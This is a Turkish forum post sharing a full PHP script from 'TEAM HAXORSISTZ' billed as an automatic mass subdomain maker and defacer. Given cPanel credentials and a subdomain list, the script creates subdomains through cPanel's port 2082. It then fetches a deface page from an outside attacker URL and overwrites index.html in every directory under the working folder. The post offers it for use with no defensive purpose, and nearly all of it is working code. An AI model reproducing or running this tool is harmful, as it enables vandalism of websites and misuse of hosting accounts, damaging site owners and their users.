Subdomain mass maker adıyla bilinen yani otomatik çoklu subdomain oluşturucu php bir scripttir , zaten yapımcısı scriptte belirtmiş 100% lamer işidir diye , bu işlere yeni başlayanlar için bir nevi tatmin aracı.
PHP:
<?php
echo '<html>
<title>[TEAM HAXORSISTZ]</title>
<body bgcolor=\'black\'>
<center>
<font color=\'red\'>
<h1><strong>[TEAM HAXORSISTZ]</STRONG></H1>
<h3>[AUTOMATIC SUBDOMAIN MAKER AND MASS SUBDOMAIN DEFACER]</h3>
</font>
<font color=\'yellow\'>
';
$mim = getcwd();
echo "<FORM action=\"\" method=\"post\">
";
echo "<input type=\"hidden\" name=\"form_action\" value=\"2\">
";
echo "<br>
";
echo "<table border=1>
";
echo "<tr><td><font color=\"green\">CPANEL USERNAME </font> </td><td><input type=\"text\" size=\"30\" name=\"cpaneluser\" value=\"haxorsistz\"></td></tr>
";
echo "<tr><td><font color=\"green\">CPANEL PASSWORD</font> </td><td><input type=\"text\" size=\"30\" name=\"cpanelpass\" value=\"123456789\"></td></tr>
";
echo "<tr><td><font color=\"green\"> CPANEL SKIN </font> </td><td><input type=\"text\" size=\"30\" name=\"cpanelskin\" value=\"x3\"></td></tr>
";
echo "<tr><td><font color=\"green\">SUBDOMAIN LIST ON </font></td><td><input type=\"text\" size=\"30\" name=\"file\" value=\"domains.txt\"></td></tr>
";
echo "<tr><td><font color=\"green\">SITE NAME</font> </td><td><input type=\"text\" size=\"30\" name=\"domain\" value=\"site.com\"></td></tr>
";
echo "<tr><td><font color=\"green\">DEFACE PAGE URL</font> </td><td><input type=\"text\" size=\"60\" name=\"url\" value=\"http://haxorsistz.com/defacepage/index.html\"></td></tr>
";
echo "</table>
";
echo "<INPUT class=submit type=\"submit\" value=\"BOOM\" name=\"Submit\">
";
echo "</FORM>
";
if ($_POST['form_action']) {
$fuck1 = ($_POST['cpaneluser']);
$fuck2 = ($_POST['cpanelpass']);
$fuck3 = ($_POST['cpanelskin']);
$fuck4 = ($_POST['file']);
$fuck5 = ($_POST['domain']);
define('CPANELUSER', $fuck1);
define('CPANELPASS', $fuck2);
define('CPANEL_SKIN', $fuck3);
define('INPUT_FILE', $fuck4);
define('DOMAIN', $fuck5);
$cpaneluser = getVar('cpaneluser', CPANELUSER);
$cpanelpass = getVar('cpanelpass', CPANELPASS);
$cpanel_skin = getVar('cpanelskin', CPANEL_SKIN);
if (isset($_REQUEST['subdomain'])) {
$doms = array(getVar('domain', DOMAIN) . ';' . $_REQUEST['subdomain']);
if (getVar('domain', DOMAIN) == '') die('You must specify domain name');
} else {
$doms = @file(INPUT_FILE);
if (!$doms) {
echo "
Cannot find input file with subdomains information. It is ok if you are not creating subdomains from file.<br>
Tip: leave field empty to use default value you have specified in the script's code.<br>
<form method='post'>
Subdomain:<input name='subdomain'><br>
Domain:<input name='domain'><br>
cPanel User:<input name='cpaneluser'><br>
cPanel Password:<input name='cpanelpass'><br>
cPanel Skin:<input name='cpanelskin'><br>
<input type='submit' value='Create Subdomain' style='border:1px solid black'>
</form>";
die();
}
}
function subd($host, $port, $ownername, $passw, $request) {
$sock = fsockopen('localhost', 2082);
if (!$sock) {
print ('Socket error');
exit();
}
$authstr = "$ownername:$passw";
$pass = base64_encode($authstr);
$in = "GET $request
";
$in.= "HTTP/1.0
";
$in.= "Host:$host
";
$in.= "Authorization: Basic $pass
";
$in.= "
";
fputs($sock, $in);
while (!feof($sock)) {
$result.= fgets($sock, 128);
}
fclose($sock);
return $result;
}
foreach ($doms as $dom) {
$lines = explode(';', $dom);
if (count($lines) == 2) {
$domain = trim($lines[0]);
$subd = trim($lines[1]);
} else {
$domain = getVar('domain', DOMAIN);
$subd = trim($lines[0]);
}
$request = "/frontend/$cpanel_skin/subdomain/doadddomain.html?rootdomain=$domain&domain=$subd";
$result = subd('localhost', 2082, $cpaneluser, $cpanelpass, $request);
echo ('<br>');
echo '[+]SUBDOMAIN CREATED AND DEFACED';
echo ('<br>');
$mim1 = 'index.html';
$mainpath = $mim;
$file = $mim1;
$indexurl = $_POST[url];
$dir = opendir("$mainpath");
while ($row = readdir($dir)) {
$start = @fopen("$row/$file", 'w+');
$code = @file_get_contents($indexurl);
$finish = @fwrite($start, $code); {
}
}
}
}
function getVar($name, $def = '') {
if (isset($_REQUEST[$name]) && ($_REQUEST[$name] != '')) return $_REQUEST[$name];
else return $def;
};
echo '
<h5>
[+] Save wordlist for subdomain in /public_html/ directory and name it as "domains.txt"
<br>
[+] Fill the above mentioned form with required credentials & press BOOM.
</h5>
<img src="http://haxorsistz.com/img/logo.png">
<br>
<h2>
<font color="purple">
*************************
<br>
[CODED BY FORCE EX]
<BR>
[[email protected]]
<br>
*************************
</h2>
<br>
</font>
<font color="cyan">
*************************
<br>
THIS IS A 100% LAMING TOOL
<br>
GET YOURSELF PREPARED FOR THE TAG OF LAMER BEFORE USING THIS TOOL
<BR>
*************************
</h2>
</font>
</font>
</center>
</body>
</html>';